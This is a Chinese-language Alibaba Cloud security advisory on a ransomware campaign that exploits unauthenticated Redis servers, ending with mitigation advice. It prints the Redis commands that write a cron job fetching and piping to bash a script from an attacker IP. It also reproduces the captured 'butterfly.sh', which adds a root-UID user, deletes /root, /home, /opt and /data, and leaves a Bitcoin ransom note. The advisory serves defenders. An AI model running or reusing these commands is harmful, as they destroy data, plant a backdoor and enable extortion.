预警| 删库跑路加勒索,Redis勒索事件爆发

本文涉及的产品
Web应用防火墙 3.0,每月20元额度 3个月
云安全中心 防病毒版,最高20核 3个月
云安全基线管理CSPM免费试用,1000次1年
简介:

#安全事件

9月10日下午15:06开始,阿里云官方首次发现一起规模化利用Redis 未授权访问漏洞进行加密货币勒索的事件,阿里云上防御系统在攻击开始的10s内就已开启全网拦截。

与以往的只是通过算力窃取进行挖矿的攻击事件不同,此次攻击者在攻击之初就是以勒索钱财作为第一目的的,攻击者无惧暴露,非常猖狂。直接删除数据、加密数据也意味着攻击者与防御者之间已经没有缓冲地带,基本的攻防对抗将是赤裸裸的一场刺刀战。

该高危漏洞早在半年前阿里云就发布过预警,但是还是有不少用户并未进行修改加以重视。阿里云安全专家提醒用户参考文末方法,尽快完成漏洞修复或部署防御,一旦被攻击成功,整个服务器的程序和数据都将会被删除!且很难恢复。

Redis应用简介

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010315日起,Redis的开发工作由VMware主持。20135月开始,Redis的开发由Pivotal赞助。

Redis漏洞原理

作为一个内存数据库,redis 可通过周期性配置或者手动执行save命令,将缓存中的值写入到磁盘文件中。如果redis进程权限足够,攻击者就可以利用它的未授权漏洞来写入计划任务、ssh登录密钥、webshell 等等,以达到执行任意指令的目的。

自2017年12月以来,由于该漏洞已经被大规模利用,如DDG等多个僵尸网络都以该漏洞为目标进行迅速的繁殖和占领算力,并且各大僵尸网络间都会互相删除彼此来保证自己对机器算力的掌握。

攻击过程说明

● 首先攻击者通过事先的扫描踩点,发现了这些公网可访问并且未设置密码的机器

● 攻击者尝试连接这些机器,并且运行如下代码:

config set dir /var/spool/cron/

config set dbfilename root

config 1 */10 * * * * curl -shttp://103.224.80.52/butterfly.sh | bash

save

通过上述指令,将下载脚本:http://103.224.80.52/butterfly.sh并将该脚本写入到计划任务中,由计划任务启动执行。

由于在分析时,攻击者感知到我们的反向探查,已经将该脚本下线。但我们的蜜罐成功抓取到了该脚本如下:

#!/bin/bash

#*butterfly*

exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin

userdel -r redis

useradd -o -u 0 -g 0 redis &>/dev/null

echo "abcd-1234-!" |passwd--stdin redis &>/dev/null

rm -rf /root/*

rm -rf /home/*

rm -rf /opt/*

rm -rf /data/*

rm -rf /data*

mkdir -p /data

echo -e "\nWarning! \nYour File andDataBase is downloaded and backed up on our secured servers. To recover yourlost data : Send 0.6 BTC to our BitCoin Address and Contact
 us by eMail withyour server IP Address and a Proof of Payment. Any eMail without your server IPAddress and a Proof of Payment together will be ignored. We will drop 
thebackup after 24 hours. You are welcome! \nMail:dbsecuritys@protonmail.com\nBitCoin:3JPaDCoRnQatEEDoY59KtgF38GZiL5Kiny\n" > /root/Warning.txt

chmod +x /root/Warning.txt

cp /root/Warning.txt /Warning.txt

cp /root/Warning.txt /data/Warning.txt

echo -e "\nWarning! \nYour File andDataBase is downloaded and backed up on our secured servers. To recover yourlost data : Send 0.6 BTC to our BitCoin Address and Contact
 us by eMail withyour server IP Address and a Proof of Payment. Any eMail without your server IPAddress and a Proof of Payment together will be ignored. We will drop 
thebackup after 24 hours. You are

● 攻击者要求给地址:3JPaDCoRnQatEEDoY59KtgF38GZiL5Kiny 发送0.6个比特币,否则将在24小时之内删除数据备份。

● 但是从这个脚本中可以明显看出,攻击者根本没有进行备份,即使被攻击者给了钱,也是要不回数据的。

截止到9月10日晚8点为止,该地址共收到了0.6个比特币的转账,并且都是在今日进行发送的,已经有受害者开始转账了。

302b5bfba9edb0f0cf5e4518e2ef996806bafd83

安全建议

● 通过安全组限制对公网对Redis等服务的访问

● 通过修改redis.conf配置文件,增加密码认证,并隐藏重要命令

● 以低权限运行redis服务等

相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore     ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库 ECS 实例和一台目标数据库 RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
相关文章
|
消息中间件 NoSQL Java
Redis监听Key的过期事件
在redis.conf配置文件中有个配置项:notify-keyspace-events " " ,默认是没有key的过期监听的,我们需要将其开启
1228 0
|
22天前
|
存储 消息中间件 NoSQL
Redis 入门 - C#.NET Core客户端库六种选择
Redis 入门 - C#.NET Core客户端库六种选择
48 8
|
22天前
|
设计模式 NoSQL 网络协议
大数据-48 Redis 通信协议原理RESP 事件处理机制原理 文件事件 时间事件 Reactor多路复用
大数据-48 Redis 通信协议原理RESP 事件处理机制原理 文件事件 时间事件 Reactor多路复用
34 2
|
2月前
|
缓存 NoSQL PHP
使用PHP-redis实现键空间通知监听key失效事件的技术与代码示例
通过上述方法,你可以有效地在PHP中使用Redis来监听键空间通知,特别是针对键失效事件。这可以帮助你更好地管理缓存策略,及时响应键的变化。
90 3
|
6月前
|
NoSQL Java Redis
Spring Boot 监听 Redis Key 失效事件实现定时任务
Spring Boot 监听 Redis Key 失效事件实现定时任务
136 0
|
5月前
|
存储 NoSQL Java
大事件后端项目34_登录优化----redis_SpringBoot集成redis
大事件后端项目34_登录优化----redis_SpringBoot集成redis
大事件后端项目34_登录优化----redis_SpringBoot集成redis
|
5月前
|
NoSQL Go Redis
如何使用 Go 和 `go-redis/redis` 库连接到 Redis 并执行一些基本操作
如何使用 Go 和 `go-redis/redis` 库连接到 Redis 并执行一些基本操作
70 1
|
5月前
|
NoSQL 关系型数据库 MySQL
实时计算 Flink版产品使用问题之如何确保多并发sink同时更新Redis值时,数据能按事件时间有序地更新并且保持一致性
实时计算Flink版作为一种强大的流处理和批处理统一的计算框架,广泛应用于各种需要实时数据处理和分析的场景。实时计算Flink版通常结合SQL接口、DataStream API、以及与上下游数据源和存储系统的丰富连接器,提供了一套全面的解决方案,以应对各种实时计算需求。其低延迟、高吞吐、容错性强的特点,使其成为众多企业和组织实时数据处理首选的技术平台。以下是实时计算Flink版的一些典型使用合集。
|
4月前
|
Java Redis 数据安全/隐私保护
Redis13的Java客户端-Jedis快速入门,建立连接的写法,ip地址,设置密码密码,选择库的写法
Redis13的Java客户端-Jedis快速入门,建立连接的写法,ip地址,设置密码密码,选择库的写法
|
5月前
|
NoSQL 大数据 Redis
分享5款.NET开源免费的Redis客户端组件库
分享5款.NET开源免费的Redis客户端组件库